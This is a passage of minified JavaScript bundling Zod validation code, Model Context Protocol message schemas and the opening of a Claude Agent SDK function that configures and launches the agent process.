yz({check:"min_length",...Re(e),minimum:t})}function FT(t,e){return new _z({check:"length_equals",...Re(e),length:t})}function a3(t,e){return new bz({check:"string_format",format:"regex",...Re(e),pattern:t})}function n3(t){return new xz({check:"string_format",format:"lowercase",...Re(t)})}function s3(t){return new wz({check:"string_format",format:"uppercase",...Re(t)})}function i3(t,e){return new Sz({check:"string_format",format:"includes",...Re(e),includes:t})}function o3(t,e){return new Ez({check:"string_format",format:"starts_with",...Re(e),prefix:t})}function c3(t,e){return new Tz({check:"string_format",format:"ends_with",...Re(e),suffix:t})}function $o(t){return new kz({check:"overwrite",tx:t})}function u3(t){return $o(e=>e.normalize(t))}function l3(){return $o(t=>t.trim())}function d3(){return $o(t=>t.toLowerCase())}function p3(){return $o(t=>t.toUpperCase())}function f3(t,e,r){return new t({type:"array",element:e,...Re(r)})}function m3(t,e,r){let n=Re(r);return n.abort??(n.abort=!0),new t({type:"custom",check:"custom",fn:e,...n})}function h3(t,e,r){return new t({type:"custom",check:"custom",fn:e,...Re(r)})}var zT={};j1(zT,{time:()=>ZT,duration:()=>KT,datetime:()=>HT,date:()=>VT,ZodISOTime:()=>WT,ZodISODuration:()=>GT,ZodISODateTime:()=>UT,ZodISODate:()=>BT});var UT=ae("ZodISODateTime",(t,e)=>{Lz.init(t,e),xt.init(t,e)});function HT(t){return ZU(UT,t)}var BT=ae("ZodISODate",(t,e)=>{Fz.init(t,e),xt.init(t,e)});function VT(t){return GU(BT,t)}var WT=ae("ZodISOTime",(t,e)=>{zz.init(t,e),xt.init(t,e)});function ZT(t){return KU(WT,t)}var GT=ae("ZodISODuration",(t,e)=>{Uz.init(t,e),xt.init(t,e)});function KT(t){return XU(GT,t)}var XT=(t,e)=>{kT.init(t,e),t.name="ZodError",Object.defineProperties(t,{format:{value:r=>MF(t,r)},flatten:{value:r=>jF(t,r)},addIssue:{value:r=>t.issues.push(r)},addIssues:{value:r=>t.issues.push(...r)},isEmpty:{get(){return t.issues.length===0}}})},GX=ae("ZodError",XT),vl=ae("ZodError",XT,{Parent:Error}),v3=DF(vl),g3=qF(vl),y3=$T(vl),_3=PT(vl),bt=ae("ZodType",(t,e)=>(lt.init(t,e),t.def=e,Object.defineProperty(t,"_def",{value:e}),t.check=(...r)=>t.clone({...e,checks:[...e.checks??[],...r.map(n=>typeof n=="function"?{_zod:{check:n,def:{check:"custom"},onattach:[]}}:n)]}),t.clone=(r,n)=>Ba(t,r,n),t.brand=()=>t,t.register=(r,n)=>(r.add(t,n),t),t.parse=(r,n)=>v3(t,r,n,{callee:t.parse}),t.safeParse=(r,n)=>y3(t,r,n),t.parseAsync=async(r,n)=>g3(t,r,n,{callee:t.parseAsync}),t.safeParseAsync=async(r,n)=>_3(t,r,n),t.spa=t.safeParseAsync,t.refine=(r,n)=>t.check(uH(r,n)),t.superRefine=r=>t.check(lH(r)),t.overwrite=r=>t.check($o(r)),t.optional=()=>we(t),t.nullable=()=>C1(t),t.nullish=()=>we(C1(t)),t.nonoptional=r=>tH(t,r),t.array=()=>We(t),t.or=r=>ht([t,r]),t.and=r=>Cm(t,r),t.transform=r=>ym(t,ak(r)),t.default=r=>Y3(t,r),t.prefault=r=>eH(t,r),t.catch=r=>aH(t,r),t.pipe=r=>ym(t,r),t.readonly=()=>iH(t),t.describe=r=>{let n=t.clone();return Uu.add(n,{description:r}),n},Object.defineProperty(t,"description",{get(){return Uu.get(t)?.description},configurable:!0}),t.meta=(...r)=>{if(r.length===0)return Uu.get(t);let n=t.clone();return Uu.add(n,r[0]),n},t.isOptional=()=>t.safeParse(void 0).success,t.isNullable=()=>t.safeParse(null).success,t)),JT=ae("_ZodString",(t,e)=>{Om.init(t,e),bt.init(t,e);let r=t._zod.bag;t.format=r.format??null,t.minLength=r.minimum??null,t.maxLength=r.maximum??null,t.regex=(...n)=>t.check(a3(...n)),t.includes=(...n)=>t.check(i3(...n)),t.startsWith=(...n)=>t.check(o3(...n)),t.endsWith=(...n)=>t.check(c3(...n)),t.min=(...n)=>t.check(Yu(...n)),t.max=(...n)=>t.check(LT(...n)),t.length=(...n)=>t.check(FT(...n)),t.nonempty=(...n)=>t.check(Yu(1,...n)),t.lowercase=n=>t.check(n3(n)),t.uppercase=n=>t.check(s3(n)),t.trim=()=>t.check(l3()),t.normalize=(...n)=>t.check(u3(...n)),t.toLowerCase=()=>t.check(d3()),t.toUpperCase=()=>t.check(p3())}),b3=ae("ZodString",(t,e)=>{Om.init(t,e),JT.init(t,e),t.email=r=>t.check(kU(x3,r)),t.url=r=>t.check(CU(w3,r)),t.jwt=r=>t.check(WU(D3,r)),t.emoji=r=>t.check(IU(S3,r)),t.guid=r=>t.check(T1(P1,r)),t.uuid=r=>t.check(RU(Hu,r)),t.uuidv4=r=>t.check($U(Hu,r)),t.uuidv6=r=>t.check(PU(Hu,r)),t.uuidv7=r=>t.check(OU(Hu,r)),t.nanoid=r=>t.check(AU(E3,r)),t.guid=r=>t.check(T1(P1,r)),t.cuid=r=>t.check(NU(T3,r)),t.cuid2=r=>t.check(jU(k3,r)),t.ulid=r=>t.check(MU(R3,r)),t.base64=r=>t.check(HU(N3,r)),t.base64url=r=>t.check(BU(j3,r)),t.xid=r=>t.check(DU($3,r)),t.ksuid=r=>t.check(qU(P3,r)),t.ipv4=r=>t.check(LU(O3,r)),t.ipv6=r=>t.check(FU(C3,r)),t.cidrv4=r=>t.check(zU(I3,r)),t.cidrv6=r=>t.check(UU(A3,r)),t.e164=r=>t.check(VU(M3,r)),t.datetime=r=>t.check(HT(r)),t.date=r=>t.check(VT(r)),t.time=r=>t.check(ZT(r)),t.duration=r=>t.check(KT(r))});function re(t){return TU(b3,t)}var xt=ae("ZodStringFormat",(t,e)=>{mt.init(t,e),JT.init(t,e)}),x3=ae("ZodEmail",(t,e)=>{Oz.init(t,e),xt.init(t,e)}),P1=ae("ZodGUID",(t,e)=>{$z.init(t,e),xt.init(t,e)}),Hu=ae("ZodUUID",(t,e)=>{Pz.init(t,e),xt.init(t,e)}),w3=ae("ZodURL",(t,e)=>{Cz.init(t,e),xt.init(t,e)}),S3=ae("ZodEmoji",(t,e)=>{Iz.init(t,e),xt.init(t,e)}),E3=ae("ZodNanoID",(t,e)=>{Az.init(t,e),xt.init(t,e)}),T3=ae("ZodCUID",(t,e)=>{Nz.init(t,e),xt.init(t,e)}),k3=ae("ZodCUID2",(t,e)=>{jz.init(t,e),xt.init(t,e)}),R3=ae("ZodULID",(t,e)=>{Mz.init(t,e),xt.init(t,e)}),$3=ae("ZodXID",(t,e)=>{Dz.init(t,e),xt.init(t,e)}),P3=ae("ZodKSUID",(t,e)=>{qz.init(t,e),xt.init(t,e)}),O3=ae("ZodIPv4",(t,e)=>{Hz.init(t,e),xt.init(t,e)}),C3=ae("ZodIPv6",(t,e)=>{Bz.init(t,e),xt.init(t,e)}),I3=ae("ZodCIDRv4",(t,e)=>{Vz.init(t,e),xt.init(t,e)}),A3=ae("ZodCIDRv6",(t,e)=>{Wz.init(t,e),xt.init(t,e)}),N3=ae("ZodBase64",(t,e)=>{Zz.init(t,e),xt.init(t,e)}),j3=ae("ZodBase64URL",(t,e)=>{Kz.init(t,e),xt.init(t,e)}),M3=ae("ZodE164",(t,e)=>{Xz.init(t,e),xt.init(t,e)}),D3=ae("ZodJWT",(t,e)=>{Yz.init(t,e),xt.init(t,e)}),YT=ae("ZodNumber",(t,e)=>{DT.init(t,e),bt.init(t,e),t.gt=(n,a)=>t.check(R1(n,a)),t.gte=(n,a)=>t.check(Jf(n,a)),t.min=(n,a)=>t.check(Jf(n,a)),t.lt=(n,a)=>t.check(k1(n,a)),t.lte=(n,a)=>t.check(Xf(n,a)),t.max=(n,a)=>t.check(Xf(n,a)),t.int=n=>t.check(O1(n)),t.safe=n=>t.check(O1(n)),t.positive=n=>t.check(R1(0,n)),t.nonnegative=n=>t.check(Jf(0,n)),t.negative=n=>t.check(k1(0,n)),t.nonpositive=n=>t.check(Xf(0,n)),t.multipleOf=(n,a)=>t.check($1(n,a)),t.step=(n,a)=>t.check($1(n,a)),t.finite=()=>t;let r=t._zod.bag;t.minValue=Math.max(r.minimum??Number.NEGATIVE_INFINITY,r.exclusiveMinimum??Number.NEGATIVE_INFINITY)??null,t.maxValue=Math.min(r.maximum??Number.POSITIVE_INFINITY,r.exclusiveMaximum??Number.POSITIVE_INFINITY)??null,t.isInt=(r.format??"").includes("int")||Number.isSafeInteger(r.multipleOf??.5),t.isFinite=!0,t.format=r.format??null});function ot(t){return JU(YT,t)}var q3=ae("ZodNumberFormat",(t,e)=>{Qz.init(t,e),YT.init(t,e)});function O1(t){return YU(q3,t)}var L3=ae("ZodBoolean",(t,e)=>{eU.init(t,e),bt.init(t,e)});function zt(t){return QU(L3,t)}var F3=ae("ZodNull",(t,e)=>{tU.init(t,e),bt.init(t,e)});function QT(t){return e3(F3,t)}var z3=ae("ZodUnknown",(t,e)=>{rU.init(t,e),bt.init(t,e)});function It(){return t3(z3)}var U3=ae("ZodNever",(t,e)=>{aU.init(t,e),bt.init(t,e)});function H3(t){return r3(U3,t)}var B3=ae("ZodArray",(t,e)=>{nU.init(t,e),bt.init(t,e),t.element=e.element,t.min=(r,n)=>t.check(Yu(r,n)),t.nonempty=r=>t.check(Yu(1,r)),t.max=(r,n)=>t.check(LT(r,n)),t.length=(r,n)=>t.check(FT(r,n)),t.unwrap=()=>t.element});function We(t,e){return f3(B3,t,e)}var ek=ae("ZodObject",(t,e)=>{sU.init(t,e),bt.init(t,e),ct.defineLazy(t,"shape",()=>e.shape),t.keyof=()=>Ut(Object.keys(t._zod.def.shape)),t.catchall=r=>t.clone({...t._zod.def,catchall:r}),t.passthrough=()=>t.clone({...t._zod.def,catchall:It()}),t.loose=()=>t.clone({...t._zod.def,catchall:It()}),t.strict=()=>t.clone({...t._zod.def,catchall:H3()}),t.strip=()=>t.clone({...t._zod.def,catchall:void 0}),t.extend=r=>ct.extend(t,r),t.merge=r=>ct.merge(t,r),t.pick=r=>ct.pick(t,r),t.omit=r=>ct.omit(t,r),t.partial=(...r)=>ct.partial(nk,t,r[0]),t.required=(...r)=>ct.required(sk,t,r[0])});function pe(t,e){let r={type:"object",get shape(){return ct.assignProp(this,"shape",{...t}),this.shape},...ct.normalizeParams(e)};return new ek(r)}function Mr(t,e){return new ek({type:"object",get shape(){return ct.assignProp(this,"shape",{...t}),this.shape},catchall:It(),...ct.normalizeParams(e)})}var tk=ae("ZodUnion",(t,e)=>{qT.init(t,e),bt.init(t,e),t.options=e.options});function ht(t,e){return new tk({type:"union",options:t,...ct.normalizeParams(e)})}var V3=ae("ZodDiscriminatedUnion",(t,e)=>{tk.init(t,e),iU.init(t,e)});function rk(t,e,r){return new V3({type:"union",options:e,discriminator:t,...ct.normalizeParams(r)})}var W3=ae("ZodIntersection",(t,e)=>{oU.init(t,e),bt.init(t,e)});function Cm(t,e){return new W3({type:"intersection",left:t,right:e})}var Z3=ae("ZodRecord",(t,e)=>{cU.init(t,e),bt.init(t,e),t.keyType=e.keyType,t.valueType=e.valueType});function At(t,e,r){return new Z3({type:"record",keyType:t,valueType:e,...ct.normalizeParams(r)})}var gm=ae("ZodEnum",(t,e)=>{uU.init(t,e),bt.init(t,e),t.enum=e.entries,t.options=Object.values(e.entries);let r=new Set(Object.keys(e.entries));t.extract=(n,a)=>{let s={};for(let i of n)if(r.has(i))s[i]=e.entries[i];else throw new Error(`Key ${i} not found in enum`);return new gm({...e,checks:[],...ct.normalizeParams(a),entries:s})},t.exclude=(n,a)=>{let s={...e.entries};for(let i of n)if(r.has(i))delete s[i];else throw new Error(`Key ${i} not found in enum`);return new gm({...e,checks:[],...ct.normalizeParams(a),entries:s})}});function Ut(t,e){let r=Array.isArray(t)?Object.fromEntries(t.map(n=>[n,n])):t;return new gm({type:"enum",entries:r,...ct.normalizeParams(e)})}var G3=ae("ZodLiteral",(t,e)=>{lU.init(t,e),bt.init(t,e),t.values=new Set(e.values),Object.defineProperty(t,"value",{get(){if(e.values.length>1)throw new Error("This schema contains multiple valid literal values. Use `.values` instead.");return e.values[0]}})});function Se(t,e){return new G3({type:"literal",values:Array.isArray(t)?t:[t],...ct.normalizeParams(e)})}var K3=ae("ZodTransform",(t,e)=>{dU.init(t,e),bt.init(t,e),t._zod.parse=(r,n)=>{r.addIssue=s=>{if(typeof s=="string")r.issues.push(ct.issue(s,r.value,e));else{let i=s;i.fatal&&(i.continue=!1),i.code??(i.code="custom"),i.input??(i.input=r.value),i.inst??(i.inst=t),i.continue??(i.continue=!0),r.issues.push(ct.issue(i))}};let a=e.transform(r.value,r);return a instanceof Promise?a.then(s=>(r.value=s,r)):(r.value=a,r)}});function ak(t){return new K3({type:"transform",transform:t})}var nk=ae("ZodOptional",(t,e)=>{pU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType});function we(t){return new nk({type:"optional",innerType:t})}var X3=ae("ZodNullable",(t,e)=>{fU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType});function C1(t){return new X3({type:"nullable",innerType:t})}var J3=ae("ZodDefault",(t,e)=>{mU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType,t.removeDefault=t.unwrap});function Y3(t,e){return new J3({type:"default",innerType:t,get defaultValue(){return typeof e=="function"?e():e}})}var Q3=ae("ZodPrefault",(t,e)=>{hU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType});function eH(t,e){return new Q3({type:"prefault",innerType:t,get defaultValue(){return typeof e=="function"?e():e}})}var sk=ae("ZodNonOptional",(t,e)=>{vU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType});function tH(t,e){return new sk({type:"nonoptional",innerType:t,...ct.normalizeParams(e)})}var rH=ae("ZodCatch",(t,e)=>{gU.init(t,e),bt.init(t,e),t.unwrap=()=>t._zod.def.innerType,t.removeCatch=t.unwrap});function aH(t,e){return new rH({type:"catch",innerType:t,catchValue:typeof e=="function"?e:()=>e})}var nH=ae("ZodPipe",(t,e)=>{yU.init(t,e),bt.init(t,e),t.in=e.in,t.out=e.out});function ym(t,e){return new nH({type:"pipe",in:t,out:e})}var sH=ae("ZodReadonly",(t,e)=>{_U.init(t,e),bt.init(t,e)});function iH(t){return new sH({type:"readonly",innerType:t})}var ik=ae("ZodCustom",(t,e)=>{bU.init(t,e),bt.init(t,e)});function oH(t,e){let r=new ar({check:"custom",...ct.normalizeParams(e)});return r._zod.check=t,r}function cH(t,e){return m3(ik,t??(()=>!0),e)}function uH(t,e={}){return h3(ik,t,e)}function lH(t,e){let r=oH(n=>(n.addIssue=a=>{if(typeof a=="string")n.issues.push(ct.issue(a,n.value,r._zod.def));else{let s=a;s.fatal&&(s.continue=!1),s.code??(s.code="custom"),s.input??(s.input=n.value),s.inst??(s.inst=r),s.continue??(s.continue=!r._zod.def.abort),n.issues.push(ct.issue(s))}},t(n.value,n)),e);return r}function ok(t,e){return ym(ak(t),e)}va(SU());var Im="io.modelcontextprotocol/related-task",gl="2.0",ea=cH(t=>t!==null&&(typeof t=="object"||typeof t=="function")),ck=ht([re(),ot().int()]),uk=re(),dH=Mr({ttl:ht([ot(),QT()]).optional(),pollInterval:ot().optional()}),Am=Mr({taskId:re()}),pH=Mr({progressToken:ck.optional(),[Im]:Am.optional()}),nr=Mr({task:dH.optional(),_meta:pH.optional()}),Dt=pe({method:re(),params:nr.optional()}),Nn=Mr({_meta:pe({[Im]:we(Am)}).passthrough().optional()}),Tr=pe({method:re(),params:Nn.optional()}),Ht=Mr({_meta:Mr({[Im]:Am.optional()}).optional()}),yl=ht([re(),ot().int()]),fH=pe({jsonrpc:Se(gl),id:yl,...Dt.shape}).strict();var mH=pe({jsonrpc:Se(gl),...Tr.shape}).strict();var hH=pe({jsonrpc:Se(gl),id:yl,result:Ht}).strict();var I1;(function(t){t[t.ConnectionClosed=-32e3]="ConnectionClosed",t[t.RequestTimeout=-32001]="RequestTimeout",t[t.ParseError=-32700]="ParseError",t[t.InvalidRequest=-32600]="InvalidRequest",t[t.MethodNotFound=-32601]="MethodNotFound",t[t.InvalidParams=-32602]="InvalidParams",t[t.InternalError=-32603]="InternalError",t[t.UrlElicitationRequired=-32042]="UrlElicitationRequired"})(I1||(I1={}));var vH=pe({jsonrpc:Se(gl),id:yl,error:pe({code:ot().int(),message:re(),data:we(It())})}).strict();var KX=ht([fH,mH,hH,vH]),lk=Ht.strict(),gH=Nn.extend({requestId:yl,reason:re().optional()}),dk=Tr.extend({method:Se("notifications/cancelled"),params:gH}),yH=pe({src:re(),mimeType:re().optional(),sizes:We(re()).optional()}),Po=pe({icons:We(yH).optional()}),Qs=pe({name:re(),title:re().optional()}),pk=Qs.extend({...Qs.shape,...Po.shape,version:re(),websiteUrl:re().optional()}),_H=Cm(pe({applyDefaults:zt().optional()}),At(re(),It())),bH=ok(t=>t&&typeof t=="object"&&!Array.isArray(t)&&Object.keys(t).length===0?{form:{}}:t,Cm(pe({form:_H.optional(),url:ea.optional()}),At(re(),It()).optional())),xH=pe({list:we(pe({}).passthrough()),cancel:we(pe({}).passthrough()),requests:we(pe({sampling:we(pe({createMessage:we(pe({}).passthrough())}).passthrough()),elicitation:we(pe({create:we(pe({}).passthrough())}).passthrough())}).passthrough())}).passthrough(),wH=pe({list:we(pe({}).passthrough()),cancel:we(pe({}).passthrough()),requests:we(pe({tools:we(pe({call:we(pe({}).passthrough())}).passthrough())}).passthrough())}).passthrough(),SH=pe({experimental:At(re(),ea).optional(),sampling:pe({context:ea.optional(),tools:ea.optional()}).optional(),elicitation:bH.optional(),roots:pe({listChanged:zt().optional()}).optional(),tasks:we(xH)}),EH=nr.extend({protocolVersion:re(),capabilities:SH,clientInfo:pk}),TH=Dt.extend({method:Se("initialize"),params:EH}),kH=pe({experimental:At(re(),ea).optional(),logging:ea.optional(),completions:ea.optional(),prompts:we(pe({listChanged:we(zt())})),resources:pe({subscribe:zt().optional(),listChanged:zt().optional()}).optional(),tools:pe({listChanged:zt().optional()}).optional(),tasks:we(wH)}).passthrough(),RH=Ht.extend({protocolVersion:re(),capabilities:kH,serverInfo:pk,instructions:re().optional()}),$H=Tr.extend({method:Se("notifications/initialized")}),fk=Dt.extend({method:Se("ping")}),PH=pe({progress:ot(),total:we(ot()),message:we(re())}),OH=pe({...Nn.shape,...PH.shape,progressToken:ck}),mk=Tr.extend({method:Se("notifications/progress"),params:OH}),CH=nr.extend({cursor:uk.optional()}),Oo=Dt.extend({params:CH.optional()}),Co=Ht.extend({nextCursor:we(uk)}),Io=pe({taskId:re(),status:Ut(["working","input_required","completed","failed","cancelled"]),ttl:ht([ot(),QT()]),createdAt:re(),lastUpdatedAt:re(),pollInterval:we(ot()),statusMessage:we(re())}),hk=Ht.extend({task:Io}),IH=Nn.merge(Io),vk=Tr.extend({method:Se("notifications/tasks/status"),params:IH}),gk=Dt.extend({method:Se("tasks/get"),params:nr.extend({taskId:re()})}),yk=Ht.merge(Io),_k=Dt.extend({method:Se("tasks/result"),params:nr.extend({taskId:re()})}),bk=Oo.extend({method:Se("tasks/list")}),xk=Co.extend({tasks:We(Io)}),XX=Dt.extend({method:Se("tasks/cancel"),params:nr.extend({taskId:re()})}),JX=Ht.merge(Io),wk=pe({uri:re(),mimeType:we(re()),_meta:At(re(),It()).optional()}),Sk=wk.extend({text:re()}),Nm=re().refine(t=>{try{return atob(t),!0}catch{return!1}},{message:"Invalid Base64 string"}),Ek=wk.extend({blob:Nm}),si=pe({audience:We(Ut(["user","assistant"])).optional(),priority:ot().min(0).max(1).optional(),lastModified:zT.datetime({offset:!0}).optional()}),Tk=pe({...Qs.shape,...Po.shape,uri:re(),description:we(re()),mimeType:we(re()),annotations:si.optional(),_meta:we(Mr({}))}),AH=pe({...Qs.shape,...Po.shape,uriTemplate:re(),description:we(re()),mimeType:we(re()),annotations:si.optional(),_meta:we(Mr({}))}),NH=Oo.extend({method:Se("resources/list")}),jH=Co.extend({resources:We(Tk)}),MH=Oo.extend({method:Se("resources/templates/list")}),DH=Co.extend({resourceTemplates:We(AH)}),jm=nr.extend({uri:re()}),qH=jm,LH=Dt.extend({method:Se("resources/read"),params:qH}),FH=Ht.extend({contents:We(ht([Sk,Ek]))}),zH=Tr.extend({method:Se("notifications/resources/list_changed")}),UH=jm,HH=Dt.extend({method:Se("resources/subscribe"),params:UH}),BH=jm,VH=Dt.extend({method:Se("resources/unsubscribe"),params:BH}),WH=Nn.extend({uri:re()}),ZH=Tr.extend({method:Se("notifications/resources/updated"),params:WH}),GH=pe({name:re(),description:we(re()),required:we(zt())}),KH=pe({...Qs.shape,...Po.shape,description:we(re()),arguments:we(We(GH)),_meta:we(Mr({}))}),XH=Oo.extend({method:Se("prompts/list")}),JH=Co.extend({prompts:We(KH)}),YH=nr.extend({name:re(),arguments:At(re(),re()).optional()}),QH=Dt.extend({method:Se("prompts/get"),params:YH}),Mm=pe({type:Se("text"),text:re(),annotations:si.optional(),_meta:At(re(),It()).optional()}),Dm=pe({type:Se("image"),data:Nm,mimeType:re(),annotations:si.optional(),_meta:At(re(),It()).optional()}),qm=pe({type:Se("audio"),data:Nm,mimeType:re(),annotations:si.optional(),_meta:At(re(),It()).optional()}),eB=pe({type:Se("tool_use"),name:re(),id:re(),input:pe({}).passthrough(),_meta:we(pe({}).passthrough())}).passthrough(),tB=pe({type:Se("resource"),resource:ht([Sk,Ek]),annotations:si.optional(),_meta:At(re(),It()).optional()}),rB=Tk.extend({type:Se("resource_link")}),Lm=ht([Mm,Dm,qm,rB,tB]),aB=pe({role:Ut(["user","assistant"]),content:Lm}),nB=Ht.extend({description:we(re()),messages:We(aB)}),sB=Tr.extend({method:Se("notifications/prompts/list_changed")}),iB=pe({title:re().optional(),readOnlyHint:zt().optional(),destructiveHint:zt().optional(),idempotentHint:zt().optional(),openWorldHint:zt().optional()}),oB=pe({taskSupport:Ut(["required","optional","forbidden"]).optional()}),kk=pe({...Qs.shape,...Po.shape,description:re().optional(),inputSchema:pe({type:Se("object"),properties:At(re(),ea).optional(),required:We(re()).optional()}).catchall(It()),outputSchema:pe({type:Se("object"),properties:At(re(),ea).optional(),required:We(re()).optional()}).catchall(It()).optional(),annotations:we(iB),execution:we(oB),_meta:At(re(),It()).optional()}),cB=Oo.extend({method:Se("tools/list")}),uB=Co.extend({tools:We(kk)}),Rk=Ht.extend({content:We(Lm).default([]),structuredContent:At(re(),It()).optional(),isError:we(zt())}),YX=Rk.or(Ht.extend({toolResult:It()})),lB=nr.extend({name:re(),arguments:we(At(re(),It()))}),dB=Dt.extend({method:Se("tools/call"),params:lB}),pB=Tr.extend({method:Se("notifications/tools/list_changed")}),$k=Ut(["debug","info","notice","warning","error","critical","alert","emergency"]),fB=nr.extend({level:$k}),mB=Dt.extend({method:Se("logging/setLevel"),params:fB}),hB=Nn.extend({level:$k,logger:re().optional(),data:It()}),vB=Tr.extend({method:Se("notifications/message"),params:hB}),gB=pe({name:re().optional()}),yB=pe({hints:we(We(gB)),costPriority:we(ot().min(0).max(1)),speedPriority:we(ot().min(0).max(1)),intelligencePriority:we(ot().min(0).max(1))}),_B=pe({mode:we(Ut(["auto","required","none"]))}),bB=pe({type:Se("tool_result"),toolUseId:re().describe("The unique identifier for the corresponding tool call."),content:We(Lm).default([]),structuredContent:pe({}).passthrough().optional(),isError:we(zt()),_meta:we(pe({}).passthrough())}).passthrough(),xB=rk("type",[Mm,Dm,qm]),Qu=rk("type",[Mm,Dm,qm,eB,bB]),wB=pe({role:Ut(["user","assistant"]),content:ht([Qu,We(Qu)]),_meta:we(pe({}).passthrough())}).passthrough(),SB=nr.extend({messages:We(wB),modelPreferences:yB.optional(),systemPrompt:re().optional(),includeContext:Ut(["none","thisServer","allServers"]).optional(),temperature:ot().optional(),maxTokens:ot().int(),stopSequences:We(re()).optional(),metadata:ea.optional(),tools:we(We(kk)),toolChoice:we(_B)}),EB=Dt.extend({method:Se("sampling/createMessage"),params:SB}),TB=Ht.extend({model:re(),stopReason:we(Ut(["endTurn","stopSequence","maxTokens"]).or(re())),role:Ut(["user","assistant"]),content:xB}),kB=Ht.extend({model:re(),stopReason:we(Ut(["endTurn","stopSequence","maxTokens","toolUse"]).or(re())),role:Ut(["user","assistant"]),content:ht([Qu,We(Qu)])}),RB=pe({type:Se("boolean"),title:re().optional(),description:re().optional(),default:zt().optional()}),$B=pe({type:Se("string"),title:re().optional(),description:re().optional(),minLength:ot().optional(),maxLength:ot().optional(),format:Ut(["email","uri","date","date-time"]).optional(),default:re().optional()}),PB=pe({type:Ut(["number","integer"]),title:re().optional(),description:re().optional(),minimum:ot().optional(),maximum:ot().optional(),default:ot().optional()}),OB=pe({type:Se("string"),title:re().optional(),description:re().optional(),enum:We(re()),default:re().optional()}),CB=pe({type:Se("string"),title:re().optional(),description:re().optional(),oneOf:We(pe({const:re(),title:re()})),default:re().optional()}),IB=pe({type:Se("string"),title:re().optional(),description:re().optional(),enum:We(re()),enumNames:We(re()).optional(),default:re().optional()}),AB=ht([OB,CB]),NB=pe({type:Se("array"),title:re().optional(),description:re().optional(),minItems:ot().optional(),maxItems:ot().optional(),items:pe({type:Se("string"),enum:We(re())}),default:We(re()).optional()}),jB=pe({type:Se("array"),title:re().optional(),description:re().optional(),minItems:ot().optional(),maxItems:ot().optional(),items:pe({anyOf:We(pe({const:re(),title:re()}))}),default:We(re()).optional()}),MB=ht([NB,jB]),DB=ht([IB,AB,MB]),qB=ht([DB,RB,$B,PB]),LB=nr.extend({mode:Se("form").optional(),message:re(),requestedSchema:pe({type:Se("object"),properties:At(re(),qB),required:We(re()).optional()})}),FB=nr.extend({mode:Se("url"),message:re(),elicitationId:re(),url:re().url()}),zB=ht([LB,FB]),UB=Dt.extend({method:Se("elicitation/create"),params:zB}),HB=Nn.extend({elicitationId:re()}),BB=Tr.extend({method:Se("notifications/elicitation/complete"),params:HB}),VB=Ht.extend({action:Ut(["accept","decline","cancel"]),content:ok(t=>t===null?void 0:t,At(re(),ht([re(),ot(),zt(),We(re())])).optional())}),WB=pe({type:Se("ref/resource"),uri:re()}),ZB=pe({type:Se("ref/prompt"),name:re()}),GB=nr.extend({ref:ht([ZB,WB]),argument:pe({name:re(),value:re()}),context:pe({arguments:At(re(),re()).optional()}).optional()}),KB=Dt.extend({method:Se("completion/complete"),params:GB});var XB=Ht.extend({completion:Mr({values:We(re()).max(100),total:we(ot().int()),hasMore:we(zt())})}),JB=pe({uri:re().startsWith("file://"),name:re().optional(),_meta:At(re(),It()).optional()}),YB=Dt.extend({method:Se("roots/list")}),QB=Ht.extend({roots:We(JB)}),e7=Tr.extend({method:Se("notifications/roots/list_changed")}),QX=ht([fk,TH,KB,mB,QH,XH,NH,MH,LH,HH,VH,dB,cB,gk,_k,bk]),eJ=ht([dk,mk,$H,e7,vk]),tJ=ht([lk,TB,kB,VB,QB,yk,xk,hk]),rJ=ht([fk,EB,UB,YB,gk,_k,bk]),aJ=ht([dk,mk,vB,ZH,zH,pB,sB,vk,BB]),nJ=ht([lk,RH,XB,nB,JH,jH,DH,FH,Rk,uB,yk,xk,hk]);var sJ=Symbol("Let zodToJsonSchema decide on which parser to use");var iJ=new Set("ABCDEFGHIJKLMNOPQRSTUVXYZabcdefghijklmnopqrstuvxyz0123456789");var oJ=N1(Fq(),1),cJ=N1(NL(),1);var uJ=Symbol.for("mcp.completable");var A1;(function(t){t.Completable="McpCompletable"})(A1||(A1={}));function Pk({prompt:t,options:e}){let{systemPrompt:r,settingSources:n,sandbox:a,...s}=e??{},i,o;r===void 0?i="":typeof r=="string"?i=r:r.type==="preset"&&(o=r.append);let c=s.pathToClaudeCodeExecutable;if(!c){let Z=(0,Z1.fileURLToPath)(t7.url),K=(0,Qf.join)(Z,"..");c=(0,Qf.join)(K,"cli.js")}process.env.CLAUDE_AGENT_SDK_VERSION="0.1.75";let{abortController:u=K1(),additionalDirectories:l=[],agents:d,allowedTools:f=[],betas:m,canUseTool:g,continue:b,cwd:p,disallowedTools:h=[],tools:y,env:v,executable:_=dT()?"bun":"node",executableArgs:S=[],extraArgs:x={},fallbackModel:w,enableFileCheckpointing:T,forkSession:R,hooks:A,includePartialMessages:j,persistSession:q,maxThinkingTokens:U,maxTurns:N,maxBudgetUsd:G,mcpServers:te,model:ce,outputFormat:le,permissionMode:ne="default",allowDangerouslySkipPermissions:H=!1,permissionPromptToolName:P,plugins:L,resume:C,resumeSessionAt:E,stderr:k,strictMcpConfig:M}=s,X=le?.type==="json_schema"?le.schema:void 0,Y=v;if(Y||(Y={...process.env}),Y.CLAUDE_CODE_ENTRYPOINT||(Y.CLAUDE_CODE_ENTRYPOINT="sdk-ts"),T&&(Y.CLAUDE_CODE_ENABLE_SDK_FILE_CHECKPOINTING="true"),!c)throw new Error("pathToClaudeCodeExecutable is required");let de={},ie=new Map;if(te)for(let[Z,K]of Object.entries(te))K.type==="sdk"&&"instance"in K?(ie.set(Z,K.instance),de[Z]={type:"sdk",name:Z}):de[Z]=K;let ve=typeof t=="string",O=new tm({abortController:u,additionalDirectories:l,betas:m,cwd:p,executable:_,executableArgs:S,extraArgs:x,pathToClaudeCodeExecutable:c,env:Y,forkSession:R,stderr:k,maxThinkingTokens:U,maxTurns:N,maxBudgetUsd:G,model:ce,fallbackModel:w,jsonSchema:X,permissionMode:ne,allowDangerouslySkipPermissions:H,permissionPromptToolName:P,continueConversation:b,resume:C,resumeSessionAt:E,settingSources:n??[],allowedTools:f,disallowedTools:h,tools:y,mcpServers:de,strictMcpConfig:M,canUseTool:!!g,hooks:!!A,includePartialMessages:j,persistSession:q,plugins:L,sandbox:a,spawnClaudeCodeProcess:s.spawnClaudeCodeProcess}),I={systemPrompt:i,appendSystemPrompt:o,agents:d},z=new 